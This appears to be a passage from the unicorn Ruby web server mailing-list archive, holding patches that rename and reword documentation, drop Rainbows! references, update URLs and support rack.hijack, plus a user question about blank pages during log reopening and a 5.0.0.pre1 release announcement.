-both the the request and response in between \Unicorn and slow clients.
+both the the request and response in between unicorn and slow clients.
== Features
@@ -15,9 +15,9 @@ both the the request and response in between \Unicorn and slow clients.
* Compatible with Ruby 1.9.3 and later.
unicorn 4.8.x will remain supported for Ruby 1.8 users.
-* Process management: \Unicorn will reap and restart workers that
+* Process management: unicorn will reap and restart workers that
die from broken apps. There is no need to manage multiple processes
- or ports yourself. \Unicorn can spawn and manage any number of
+ or ports yourself. unicorn can spawn and manage any number of
worker processes you choose to scale to your backend.
* Load balancing is done entirely by the operating system kernel.
@@ -33,11 +33,11 @@ both the the request and response in between \Unicorn and slow clients.
* Builtin reopening of all log files in your application via
USR1 signal. This allows logrotate to rotate files atomically and
quickly via rename instead of the racy and slow copytruncate method.
- \Unicorn also takes steps to ensure multi-line log entries from one
+ unicorn also takes steps to ensure multi-line log entries from one
request all stay within the same file.
* nginx-style binary upgrades without losing connections.
- You can upgrade \Unicorn, your entire application, libraries
+ You can upgrade unicorn, your entire application, libraries
and even your Ruby interpreter without dropping clients.
* before_fork and after_fork hooks in case your application
@@ -60,15 +60,15 @@ both the the request and response in between \Unicorn and slow clients.
== License
-\Unicorn is copyright 2009 by all contributors (see logs in git).
+unicorn is copyright 2009 by all contributors (see logs in git).
It is based on Mongrel 1.1.5.
Mongrel is copyright 2007 Zed A. Shaw and contributors.
-\Unicorn is licensed under (your choice) of the GPLv2 or later
+unicorn is licensed under (your choice) of the GPLv2 or later
(GPLv3+ preferred), or Ruby (1.8)-specific terms.
See the included LICENSE file for details.
-\Unicorn is 100% Free Software.
+unicorn is 100% Free Software.
== Install
@@ -108,17 +108,17 @@ In RAILS_ROOT, run:
unicorn_rails
-\Unicorn will bind to all interfaces on TCP port 8080 by default.
+unicorn will bind to all interfaces on TCP port 8080 by default.
You may use the +--listen/-l+ switch to bind to a different
address:port or a UNIX socket.
=== Configuration File(s)
-\Unicorn will look for the config.ru file used by rackup in APP_ROOT.
+unicorn will look for the config.ru file used by rackup in APP_ROOT.
-For deployments, it can use a config file for \Unicorn-specific options
+For deployments, it can use a config file for unicorn-specific options
specified by the +--config-file/-c+ command-line switch. See
-Unicorn::Configurator for the syntax of the \Unicorn-specific options.
+Unicorn::Configurator for the syntax of the unicorn-specific options.
The default settings are designed for maximum out-of-the-box
compatibility with existing applications.
@@ -130,7 +130,7 @@ supported. Run `unicorn -h` to see command-line options.
There is NO WARRANTY whatsoever if anything goes wrong, but
{let us know}[link:ISSUES.html] and we'll try our best to fix it.
-\Unicorn is designed to only serve fast clients either on the local host
+unicorn is designed to only serve fast clients either on the local host
or a fast LAN. See the PHILOSOPHY and DESIGN documents for more details
regarding this.
@@ -140,6 +140,6 @@ All feedback (bug reports, user/development dicussion, patches, pull
requests) go to the mailing list/newsgroup. See the ISSUES document for
information on the {mailing list}[mailto:unicorn-public@bogomips.org].
-For the latest on \Unicorn releases, you may also finger us at
+For the latest on unicorn releases, you may also finger us at
unicorn@bogomips.org or check our NEWS page (and subscribe to our Atom
feed).
diff --git a/Sandbox b/Sandbox
index a6c3fe7..997b92f 100644
--- a/Sandbox
+++ b/Sandbox
@@ -1,4 +1,4 @@
-= Tips for using \Unicorn with Sandbox installation tools
+= Tips for using unicorn with Sandbox installation tools
Since unicorn includes executables and is usually used to start a Ruby
process, there are certain caveats to using it with tools that sandbox
diff --git a/TUNING b/TUNING
index 6a6d7db..247090b 100644
--- a/TUNING
+++ b/TUNING
@@ -1,10 +1,10 @@
-= Tuning \Unicorn
+= Tuning unicorn
-\Unicorn performance is generally as good as a (mostly) Ruby web server
+unicorn performance is generally as good as a (mostly) Ruby web server
can provide. Most often the performance bottleneck is in the web
application running on Unicorn rather than Unicorn itself.
-== \Unicorn Configuration
+== unicorn Configuration
See Unicorn::Configurator for details on the config file format.
+worker_processes+ is the most-commonly needed tuning parameter.
@@ -14,7 +14,7 @@ See Unicorn::Configurator for details on the config file format.
* worker_processes should be scaled to the number of processes your
backend system(s) can support. DO NOT scale it to the number of
external network clients your application expects to be serving.
- \Unicorn is NOT for serving slow clients, that is the job of nginx.
+ unicorn is NOT for serving slow clients, that is the job of nginx.
* worker_processes should be *at* *least* the number of CPU cores on
a dedicated server (unless you do not have enough memory).
@@ -58,7 +58,7 @@ See Unicorn::Configurator for details on the config file format.
* UNIX domain sockets are slightly faster than TCP sockets, but only
work if nginx is on the same machine.
-== Other \Unicorn settings
+== Other unicorn settings
* Setting "preload_app true" can allow copy-on-write-friendly GC to
be used to save memory. It will probably not work out of the box with
diff --git a/examples/nginx.conf b/examples/nginx.conf
index a68fe6f..0583c1f 100644
--- a/examples/nginx.conf
+++ b/examples/nginx.conf
@@ -1,5 +1,5 @@
# This is example contains the bare mininum to get nginx going with
-# Unicorn or Rainbows! servers. Generally these configuration settings
+# unicorn servers. Generally these configuration settings
# are applicable to other HTTP application servers (and not just Ruby
# ones), so if you have one working well for proxying another app
# server, feel free to continue using it.
@@ -44,8 +44,8 @@ http {
# click tracking!
access_log /path/to/nginx.access.log combined;
- # you generally want to serve static files with nginx since neither
- # Unicorn nor Rainbows! is optimized for it at the moment
+ # you generally want to serve static files with nginx since
+ # unicorn is not and will never be optimized for it
sendfile on;
tcp_nopush on; # off may be better for *some* Comet/long-poll stuff
@@ -67,10 +67,10 @@ http {
text/javascript application/x-javascript
application/atom+xml;
- # this can be any application server, not just Unicorn/Rainbows!
+ # this can be any application server, not just unicorn
upstream app_server {
# fail_timeout=0 means we always retry an upstream even if it failed
- # to return a good HTTP response (in case the Unicorn master nukes a
+ # to return a good HTTP response (in case the unicorn master nukes a
# single worker for timing out).
# for UNIX domain socket setups:
@@ -132,12 +132,11 @@ http {
# redirects, we set the Host: header above already.
proxy_redirect off;
- # set "proxy_buffering off" *only* for Rainbows! when doing
- # Comet/long-poll/streaming. It's also safe to set if you're using
- # only serving fast clients with Unicorn + nginx, but not slow
- # clients. You normally want nginx to buffer responses to slow
- # clients, even with Rails 3.1 streaming because otherwise a slow
- # client can become a bottleneck of Unicorn.
+ # It's also safe to set if you're using only serving fast clients
+ # with unicorn + nginx, but not slow clients. You normally want
+ # nginx to buffer responses to slow clients, even with Rails 3.1
+ # streaming because otherwise a slow client can become a bottleneck
+ # of unicorn.
#
# The Rack application may also set "X-Accel-Buffering (yes|no)"
# in the response headers do disable/enable buffering on a
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index a5f069d..046ccb5 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -38,7 +38,7 @@ static VALUE set_maxhdrlen(VALUE self, VALUE len)
return UINT2NUM(MAX_HEADER_LEN = NUM2UINT(len));
}
-/* keep this small for Rainbows! since every client has one */
+/* keep this small for other servers (e.g. yahns) since every client has one */
struct http_parser {
int cs; /* Ragel internal state */
unsigned int flags;
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index 9fdcb8e..b0e6bd1 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -10,10 +10,10 @@ require 'kgio'
# enough functionality to service web application requests fast as possible.
# :startdoc:
-# \Unicorn exposes very little of an user-visible API and most of its
-# internals are subject to change. \Unicorn is designed to host Rack
+# unicorn exposes very little of an user-visible API and most of its
+# internals are subject to change. unicorn is designed to host Rack
# applications, so applications should be written against the Rack SPEC
-# and not \Unicorn internals.
+# and not unicorn internals.
module Unicorn
# Raised inside TeeInput when a client closes the socket inside the
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index 02f6b6b..4da19bb 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -1,7 +1,7 @@
# -*- encoding: binary -*-
require 'logger'
-# Implements a simple DSL for configuring a \Unicorn server.
+# Implements a simple DSL for configuring a unicorn server.
#
# See http://unicorn.bogomips.org/examples/unicorn.conf.rb and
# http://unicorn.bogomips.org/examples/unicorn.conf.minimal.rb
@@ -282,20 +282,19 @@ class Unicorn::Configurator
# Setting this to +true+ can make streaming responses in Rails 3.1
# appear more quickly at the cost of slightly higher bandwidth usage.
# The effect of this option is most visible if nginx is not used,
- # but nginx remains highly recommended with \Unicorn.
+ # but nginx remains highly recommended with unicorn.
#
# This has no effect on UNIX sockets.
#
- # Default: +true+ (Nagle's algorithm disabled) in \Unicorn,
- # +true+ in Rainbows! This defaulted to +false+ in \Unicorn
- # 3.x
+ # Default: +true+ (Nagle's algorithm disabled) in unicorn
+ # This defaulted to +false+ in unicorn 3.x
#
# [:tcp_nopush => true or false]
#
# Enables/disables TCP_CORK in Linux or TCP_NOPUSH in FreeBSD
#
# This prevents partial TCP frames from being sent out and reduces
- # wakeups in nginx if it is on a different machine. Since \Unicorn
+ # wakeups in nginx if it is on a different machine. Since unicorn
# is only designed for applications that send the response body
# quickly without keepalive, sockets will always be flushed on close
# to prevent delays.
@@ -303,7 +302,7 @@ class Unicorn::Configurator
# This has no effect on UNIX sockets.
#
# Default: +false+
- # This defaulted to +true+ in \Unicorn 3.4 - 3.7
+ # This defaulted to +true+ in unicorn 3.4 - 3.7
#
# [:ipv6only => true or false]
#
@@ -387,12 +386,10 @@ class Unicorn::Configurator
# and +false+ or +nil+ is synonymous for a value of zero.
#
# A value of +1+ is a good optimization for local networks
- # and trusted clients. For Rainbows! and Zbatery users, a higher
- # value (e.g. +60+) provides more protection against some
- # denial-of-service attacks. There is no good reason to ever
- # disable this with a +zero+ value when serving HTTP.
+ # and trusted clients. There is no good reason to ever
+ # disable this with a +zero+ value with unicorn.
#
- # Default: 1 retransmit for \Unicorn, 60 for Rainbows! 0.95.0\+
+ # Default: 1
#
# [:accept_filter => String]
#
@@ -401,8 +398,7 @@ class Unicorn::Configurator
# This enables either the "dataready" or (default) "httpready"
# accept() filter under FreeBSD. This is intended as an
# optimization to reduce context switches with common GET/HEAD
- # requests. For Rainbows! and Zbatery users, this provides
- # some protection against certain denial-of-service attacks, too.
+ # requests.
#
# There is no good reason to change from the default.
#
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 0f97516..3dbfd3e 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -7,8 +7,8 @@
#
# Users do not need to know the internals of this class, but reading the
# {source}[http://bogomips.org/unicorn.git/tree/lib/unicorn/http_server.rb]
-# is education for programmers wishing to learn how \Unicorn works.
-# See Unicorn::Configurator for information on how to configure \Unicorn.
+# is education for programmers wishing to learn how unicorn works.
+# See Unicorn::Configurator for information on how to configure unicorn.
class Unicorn::HttpServer
# :stopdoc:
attr_accessor :app, :timeout, :worker_processes,
diff --git a/lib/unicorn/socket_helper.rb b/lib/unicorn/socket_helper.rb
index 812ac53..df8315e 100644
--- a/lib/unicorn/socket_helper.rb
+++ b/lib/unicorn/socket_helper.rb
@@ -5,14 +5,12 @@ require 'socket'
module Unicorn
module SocketHelper
- # internal interface, only used by Rainbows!/Zbatery
+ # internal interface
DEFAULTS = {
# The semantics for TCP_DEFER_ACCEPT changed in Linux 2.6.32+
# with commit d1b99ba41d6c5aa1ed2fc634323449dd656899e9
- # This change shouldn't affect Unicorn users behind nginx (a
- # value of 1 remains an optimization), but Rainbows! users may
- # want to use a higher value on Linux 2.6.32+ to protect against
- # denial-of-service attacks
+ # This change shouldn't affect unicorn users behind nginx (a
+ # value of 1 remains an optimization).
:tcp_defer_accept => 1,
# FreeBSD, we need to override this to 'dataready' if we
diff --git a/lib/unicorn/util.rb b/lib/unicorn/util.rb
index c7784bd..2f8bfeb 100644
--- a/lib/unicorn/util.rb
+++ b/lib/unicorn/util.rb
@@ -1,7 +1,7 @@
# -*- encoding: binary -*-
require 'fcntl'
-module Unicorn::Util
+module Unicorn::Util # :nodoc:
# :stopdoc:
def self.is_log?(fp)
diff --git a/lib/unicorn/worker.rb b/lib/unicorn/worker.rb
index b3f8afe..6748a2f 100644
--- a/lib/unicorn/worker.rb
+++ b/lib/unicorn/worker.rb
@@ -3,8 +3,8 @@ require "raindrops"
# This class and its members can be considered a stable interface
# and will not change in a backwards-incompatible fashion between
-# releases of \Unicorn. Knowledge of this class is generally not
-# not needed for most users of \Unicorn.
+# releases of unicorn. Knowledge of this class is generally not
+# not needed for most users of unicorn.
#
# Some users may want to access it in the before_fork/after_fork hooks.
# See the Unicorn::Configurator RDoc for examples.
--
EW
^ permalink raw reply related [relevance 6%]
* [PATCH] test_exec: disable systemd inheritance test
@ 2015-07-08 3:03 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-07-08 3:03 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
Turns out ruby does have trouble emulating systemd, for now:
[ruby-core:69895] https://bugs.ruby-lang.org/issues/11336
When we re-enable this test, we'll only enable it for fixed Rubies.
The actual socket inheritance functionality works in any version of
Ruby, of course, it's just that emulating systemd won't work until
ruby-core fixes mainline Ruby.
---
test/exec/test_exec.rb | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index af8de26..33d768a 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -96,7 +96,9 @@ def teardown
end
end
- def test_sd_listen_fds_emulation
+ # FIXME https://bugs.ruby-lang.org/issues/11336
+ # [ruby-core:69895] [Bug #11336]
+ def disabled_test_sd_listen_fds_emulation
File.open("config.ru", "wb") { |fp| fp.write(HI) }
sock = TCPServer.new(@addr, @port)
sock.setsockopt(:SOL_SOCKET, :SO_KEEPALIVE, 0)
--
EW
^ permalink raw reply related [relevance 3%]
* [PATCH] test/unit/test_response.rb: compatibility with older test-unit
@ 2015-07-05 0:31 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-07-05 0:31 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
assert_predicate really isn't that useful even if it seems
preferred in another project I work on. Avoid having folks
download the latest test-unit if they're on an old version of
Ruby (e.g. 1.9.3) which bundled it.
---
test/unit/test_response.rb | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
index 1e9d74a..0b14d59 100644
--- a/test/unit/test_response.rb
+++ b/test/unit/test_response.rb
@@ -94,7 +94,7 @@ class ResponseTest < Test::Unit::TestCase
assert_equal "HTTP/1.1 200 HI\r\n", r.gets
r.read # just drain the pipe
pid, status = Process.waitpid2(pid)
- assert_predicate status, :success?
+ assert status.success?, status.inspect
ensure
r.close
w.close unless w.closed?
--
EW
^ permalink raw reply related [relevance 3%]
* Unicorn returns blank page after no use
@ 2015-07-01 16:08 3% Farjad Adamjee
0 siblings, 0 replies; 200+ results
From: Farjad Adamjee @ 2015-07-01 16:08 UTC (permalink / raw)
To: unicorn-public
Hello,
I am not sure if this is the correct place for this, I have googled
around to see if anyone else has encountered such an issue, but I did
not find anything.
I am having this issue where after a period of time of no use (on beta
[production] environment), maybe 12 hours or so, the unicorn process
sleeps. When I go and re-request the page, it returns blank.
I am using Apache proxy to Unicorn.
My unicorn.stderr.log states:
I, [2015-07-01T03:07:05.168511 #13258] INFO -- : master done reopening logs
I, [2015-07-01T03:07:05.232546 #16222] INFO -- : worker=2 done
reopening logs
I, [2015-07-01T03:07:05.239934 #13308] INFO -- : worker=0 done
reopening logs
I, [2015-07-01T03:07:05.307616 #13311] INFO -- : worker=1 done
reopening logs
When I request the page again, it loads fine. It is only during the
process of "reopening logs" when it returns a blank page.
My unicorn.rb file:
worker_processes 3
# Load app into the master before forking workers
# for super-fast worker spawn times
preload_app true
# Listen on
listen "127.0.0.1:8550", :backlog => 1024
# Restart any workers that haven't responded in 180 seconds
timeout 600
# PID for the Unicorn master
pid "/var/www/r/shared/pids/unicorn.pid"
# Unicorn Log paths
stderr_path "/var/www/r/shared/log/unicorn.stderr.log"
stdout_path "/var/www/r/shared/log/unicorn.stdout.log"
before_fork do |server, worker|
##
# When sent a USR2, Unicorn will suffix its pidfile with .oldbin and
# immediately start loading up a new version of itself (loaded with a new
# version of our app). When this new Unicorn is completely loaded
# it will begin spawning workers. The first worker spawned will check to
# see if an .oldbin pidfile exists. If so, this means we've just
booted up
# a new Unicorn and need to tell the old one that it can now die. To
do so
# we send it a QUIT.
#
# Using this method we get 0 downtime deploys.
defined?(ActiveRecord::Base) and
ActiveRecord::Base.connection.disconnect!
defined?(OathKeeper) and OathKeeper.disconnect!
old_pid = '/var/www/r/shared/pids/unicorn.pid.oldbin'
if File.exists?(old_pid) && server.pid != old_pid
begin
Process.kill("QUIT", File.read(old_pid).to_i)
rescue Errno::ENOENT, Errno::ESRCH
# someone else did our job for us
end
end
end
after_fork do |server, worker|
##
# # Unicorn master loads the app then forks off workers - because of
the way
# # Unix forking works, we need to make sure we aren't using any
of the parent's
# # sockets, e.g. db connection
#
defined?(ActiveRecord::Base) and ActiveRecord::Base.establish_connection
defined?(OathKeeper) and OathKeeper.reconnect
end
Any help would be appreciated!
Thank you!
Farjad
--
Farjad Adamjee
844.246.4018
^ permalink raw reply [relevance 3%]
* [PATCH] doc: update some invalid URLs
@ 2015-06-26 0:47 5% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-06-26 0:47 UTC (permalink / raw)
To: unicorn-public
Most of these were found by the `linkchecker' package
in Debian.
---
Documentation/unicorn.1.txt | 4 ++--
Documentation/unicorn_rails.1.txt | 4 ++--
KNOWN_ISSUES | 4 ++--
Links | 3 ++-
README | 2 +-
SIGNALS | 2 +-
Sandbox | 6 +++---
lib/unicorn/http_server.rb | 3 ++-
8 files changed, 15 insertions(+), 13 deletions(-)
diff --git a/Documentation/unicorn.1.txt b/Documentation/unicorn.1.txt
index b03962e..193860f 100644
--- a/Documentation/unicorn.1.txt
+++ b/Documentation/unicorn.1.txt
@@ -180,6 +180,6 @@ startup, otherwise the socket will be closed.
* [Rackup HowTo][3]
[1]: http://unicorn.bogomips.org/
-[2]: http://rdoc.info/gems/r#/gems/rack/frames
-[3]: http://wiki.github.com/rack/rack/tutorial-rackup-howto
+[2]: http://www.rubydoc.info/github/rack/rack/
+[3]: https://github.com/rack/rack/wiki/tutorial-rackup-howto
[4]: http://unicorn.bogomips.org/SIGNALS.html
diff --git a/Documentation/unicorn_rails.1.txt b/Documentation/unicorn_rails.1.txt
index c5db3a1..bff703e 100644
--- a/Documentation/unicorn_rails.1.txt
+++ b/Documentation/unicorn_rails.1.txt
@@ -170,6 +170,6 @@ used by Unicorn.
* [Rackup HowTo][3]
[1]: http://unicorn.bogomips.org/
-[2]: http://rdoc.info/gems/r#/gems/rack/frames
-[3]: http://wiki.github.com/rack/rack/tutorial-rackup-howto
+[2]: http://www.rubydoc.info/github/rack/rack/
+[3]: https://github.com/rack/rack/wiki/tutorial-rackup-howto
[4]: http://unicorn.bogomips.org/SIGNALS.html
diff --git a/KNOWN_ISSUES b/KNOWN_ISSUES
index 69e4f57..1950223 100644
--- a/KNOWN_ISSUES
+++ b/KNOWN_ISSUES
@@ -38,7 +38,7 @@ acceptable solution. Those issues are documented here.
after_fork hook to get correct random number generation. We have a builtin
workaround for this starting with \Unicorn 3.6.1
- See http://redmine.ruby-lang.org/issues/show/4338
+ See http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-core/36450
* On Ruby 1.8 prior to Ruby 1.8.7-p248, *BSD platforms have a broken
stdio that causes failure for file uploads larger than 112K. Upgrade
@@ -49,7 +49,7 @@ acceptable solution. Those issues are documented here.
"Kernel.rand" in your after_fork hook to reinitialize the random
number generator.
- See http://redmine.ruby-lang.org/issues/show/2962 for more details
+ See http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-core/28655
* Rails 2.3.2 bundles its own version of Rack. This may cause subtle
bugs when simultaneously loaded with the system-wide Rack Rubygem
diff --git a/Links b/Links
index 5e868fd..5a586c1 100644
--- a/Links
+++ b/Links
@@ -34,7 +34,8 @@ or services behind them.
* {Rack}[http://rack.github.io/] - a minimal interface between webservers
supporting Ruby and Ruby frameworks
-* {Ruby}[http://www.ruby-lang.org/] - the programming language of Rack and \Unicorn
+* {Ruby}[https://www.ruby-lang.org/en/] - the programming language of
+ Rack and \Unicorn
* {nginx}[http://nginx.org/] - the reverse proxy for use with \Unicorn
diff --git a/README b/README
index f084d0c..bd626e9 100644
--- a/README
+++ b/README
@@ -10,7 +10,7 @@ both the the request and response in between \Unicorn and slow clients.
* Designed for Rack, Unix, fast clients, and ease-of-debugging. We
cut out everything that is better supported by the operating system,
- {nginx}[http://nginx.net/] or {Rack}[http://rack.github.io/].
+ {nginx}[http://nginx.org/] or {Rack}[http://rack.github.io/].
* Compatible with Ruby 1.9.3 and later.
unicorn 4.8.x will remain supported for Ruby 1.8 users.
diff --git a/SIGNALS b/SIGNALS
index ef0b0d9..4d78065 100644
--- a/SIGNALS
+++ b/SIGNALS
@@ -3,7 +3,7 @@
In general, signals need only be sent to the master process. However,
the signals Unicorn uses internally to communicate with the worker
processes are documented here as well. With the exception of TTIN/TTOU,
-signal handling matches the behavior of {nginx}[http://nginx.net/] so it
+signal handling matches the behavior of {nginx}[http://nginx.org/] so it
should be possible to easily share process management scripts between
Unicorn and nginx.
diff --git a/Sandbox b/Sandbox
index f662b27..a6c3fe7 100644
--- a/Sandbox
+++ b/Sandbox
@@ -3,8 +3,8 @@
Since unicorn includes executables and is usually used to start a Ruby
process, there are certain caveats to using it with tools that sandbox
RubyGems installations such as
-{Bundler}[http://gembundler.com/] or
-{Isolate}[http://github.com/jbarnette/isolate].
+{Bundler}[http://bundler.io/] or
+{Isolate}[https://github.com/jbarnette/isolate].
== General deployment
@@ -58,7 +58,7 @@ the before_exec hook:
If you're using an older Bundler version (0.9.x), you may need to set or
reset GEM_HOME, GEM_PATH and PATH environment variables in the
-before_exec hook as illustrated by http://gist.github.com/534668
+before_exec hook as illustrated by https://gist.github.com/534668
=== Ruby 2.0.0 close-on-exec and SIGUSR2 incompatibility
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 9129ed8..3282ec7 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -486,7 +486,8 @@ class Unicorn::HttpServer
Unicorn::Configurator::RACKUP.clear
@ready_pipe = @init_listeners = @before_exec = @before_fork = nil
- srand # http://redmine.ruby-lang.org/issues/4338
+ # http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-core/36450
+ srand # remove in unicorn 6
# The OpenSSL PRNG is seeded with only the pid, and apps with frequently
# dying workers can recycle pids
--
EW
^ permalink raw reply related [relevance 5%]
* [ANN] unicorn 5.0.0.pre1 - incompatible changes!
@ 2015-06-15 22:56 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-06-15 22:56 UTC (permalink / raw)
To: unicorn-public
This release finally drops Ruby 1.8 support and requires Ruby 1.9.3
or later. The horrible "Status:" header in our HTTP response is
finally gone, saving at least 16 precious bytes in every single HTTP
response.
Under Ruby 2.1 and later, the monotonic clock is used for timeout
handling for better accuracy.
Several experimental, unused and undocumented features are removed.
There's also tiny, minor performance and memory improvements from
dropping 1.8 compatibility, but probably nothing noticeable on a
typical real-life (bloated) app.
The biggest performance improvement we made was to our website by
switching to olddoc. Depending on connection speed, latency, and
renderer performance, it typically loads two to four times faster.
Finally, for the billionth time: unicorn must never be exposed
to slow clients, as it will never ever use new-fangled things
like non-blocking socket I/O, threads, epoll or kqueue. unicorn
must be used with a fully-buffering reverse proxy such as nginx
for slow clients.
I'll tag 5.0.0 final in a week or so if all goes well
= gem install --pre unicorn
= git clone git://bogomips.org/unicorn.git
= http://unicorn.bogomips.org/
* ISSUES: update with mailing list subscription
* GIT-VERSION-GEN: start 5.0.0 development
* http: remove xftrust options
* FAQ: add entry for Rails autoflush_log
* dev: remove isolate dependency
* unicorn.gemspec: depend on test-unit 3.0
* http_response: remove Status: header
* remove RubyForge and Freecode references
* remove mongrel.rubyforge.org references
* http: remove the keepalive requests limit
* http: reduce parser from 72 to 56 bytes on 64-bit
* examples: add run_once to before_fork hook example
* worker: remove old tmp accessor
* http_server: save 450+ bytes of memory on x86-64
* t/t0002-parser-error.sh: relax test for rack 1.6.0
* remove SSL support
* tmpio: drop the "size" method
* switch docs + website to olddoc
* README: clarify/reduce references to unicorn_rails
* gemspec: fixup olddoc migration
* use the monotonic clock under Ruby 2.1+
* http: -Wshorten-64-to-32 warnings on clang
* remove old inetd+git examples and exec_cgi
* http: standalone require + reduction in binary size
* GNUmakefile: fix clean gem build + reduce build cruft
* socket_helper: reduce constant lookups and caching
* remove 1.8, <= 1.9.1 fallback for missing IO#autoclose=
* favor IO#close_on_exec= over fcntl in 1.9+
* use require_relative to reduce syscalls at startup
* doc: update support status for Ruby versions
* fix uninstalled testing and reduce require paths
* test_socket_helper: do not depend on SO_REUSEPORT
* favor "a.b(&:c)" form over "a.b { |x| x.c }"
* ISSUES: add section for bugs in other projects
* http_server: favor ivars over constants
* explain 11 byte magic number for self-pipe
* const: drop constants used by Rainbows!
* reduce and localize constant string use
* Links: mark Rainbows! as historical, reference yahns
* save about 200 bytes of memory on x86-64
* http: remove deprecated reset method
* http: remove experimental dechunk! method
* socket_helper: update comments
* doc: document UNICORN_FD in manpage
* doc: document Etc.nprocessors for worker_processes
* favor more string literals for cold call sites
* tee_input: support for Rack::TempfileReaper middleware
* support TempfileReaper in deployment and development envs
* favor kgio_wait_readable for single FD over select
* Merge tag 'v4.9.0'
* http_request: support rack.hijack by default
* avoid extra allocation for hijack proc creation
* FAQ: add note about ECONNRESET errors from bodies
* process SIGWINCH unless stdin is a TTY
* ISSUES: discourage HTML mail strongly, welcome nyms
* http: use rb_hash_clear in Ruby 2.0+
* http_response: avoid special-casing for Rack < 1.5
* www: install NEWS.atom.xml properly
* http_server: remove a few more accessors and constants
* http_response: simplify regular expression
* move the socket into Rack env for hijacking
* http: move response_start_sent into the C ext
* FAQ: reorder bit on Rack 1.1.x and Rails 2.3.x
* ensure body is closed during hijack
--
EW
^ permalink raw reply [relevance 2%]
* [PATCH] http_response: avoid special-casing for Rack < 1.5
2015-05-16 21:30 16% ` [PATCH 1/2] http_request: support rack.hijack by default Eric Wong
@ 2015-05-19 20:01 12% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-05-19 20:01 UTC (permalink / raw)
To: unicorn-public
Rack 1.4 and earlier will soon die out, so avoid having extra,
overengineered code and method dispatch to silently drop support
for mis-hijacking with old Rack versions.
This will cause improperly hijacked responses in all versions of
Rack to fail, but allows properly hijacked responses to work
regardless of Rack version.
Followup-to: commit fdf09e562733f9509d275cb13c1c1a04e579a68a
("http_request: support rack.hijack by default")
---
lib/unicorn/http_response.rb | 16 +++-------------
1 file changed, 3 insertions(+), 13 deletions(-)
diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index cc027c5..c9c2de8 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -36,9 +36,9 @@ def http_response_write(socket, status, headers, body,
when %r{\A(?:Date\z|Connection\z)}i
next
when "rack.hijack"
- # this was an illegal key in Rack < 1.5, so it should be
- # OK to silently discard it for those older versions
- hijack = hijack_prepare(value)
+ # This should only be hit under Rack >= 1.5, as this was an illegal
+ # key in Rack < 1.5
+ hijack = value
else
if value =~ /\n/
# avoiding blank, key-only cookies with /\n+/
@@ -60,14 +60,4 @@ def http_response_write(socket, status, headers, body,
ensure
body.respond_to?(:close) and body.close
end
-
- # Rack 1.5.0 (protocol version 1.2) adds response hijacking support
- if ((Rack::VERSION[0] << 8) | Rack::VERSION[1]) >= 0x0102
- def hijack_prepare(value)
- value
- end
- else
- def hijack_prepare(_)
- end
- end
end
--
EW
^ permalink raw reply related [relevance 12%]
* [PATCH 1/2] http_request: support rack.hijack by default
@ 2015-05-16 21:30 16% ` Eric Wong
2015-05-19 20:01 12% ` [PATCH] http_response: avoid special-casing for Rack < 1.5 Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2015-05-16 21:30 UTC (permalink / raw)
To: unicorn-public; +Cc: e
Rack 1.4 and earlier will soon die out, so avoid having extra code
The only minor overhead is assigning two hash slots and
the extra hash checks when running ancient versions of Rack,
so it is unlikely anybody cares about that overhead with Rack 1.5
and later.
---
lib/unicorn/http_request.rb | 32 +++++++++-----------------------
1 file changed, 9 insertions(+), 23 deletions(-)
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index 9888430..b32003e 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -13,13 +13,16 @@ class Unicorn::HttpParser
"rack.multiprocess" => true,
"rack.multithread" => false,
"rack.run_once" => false,
- "rack.version" => [1, 1],
+ "rack.version" => [1, 2],
+ "rack.hijack?" => true,
"SCRIPT_NAME" => "",
# this is not in the Rack spec, but some apps may rely on it
"SERVER_SOFTWARE" => "Unicorn #{Unicorn::Const::UNICORN_VERSION}"
}
+ RACK_HIJACK = "rack.hijack".freeze
+ RACK_HIJACK_IO = "rack.hijack_io".freeze
NULL_IO = StringIO.new("")
attr_accessor :response_start_sent
@@ -98,28 +101,11 @@ class Unicorn::HttpParser
e.merge!(DEFAULTS)
end
- # Rack 1.5.0 (protocol version 1.2) adds hijack request support
- if ((Rack::VERSION[0] << 8) | Rack::VERSION[1]) >= 0x0102
- DEFAULTS["rack.hijack?"] = true
- DEFAULTS["rack.version"] = [1, 2]
-
- RACK_HIJACK = "rack.hijack".freeze
- RACK_HIJACK_IO = "rack.hijack_io".freeze
-
- def hijacked?
- env.include?(RACK_HIJACK_IO)
- end
-
- def hijack_setup(e, socket)
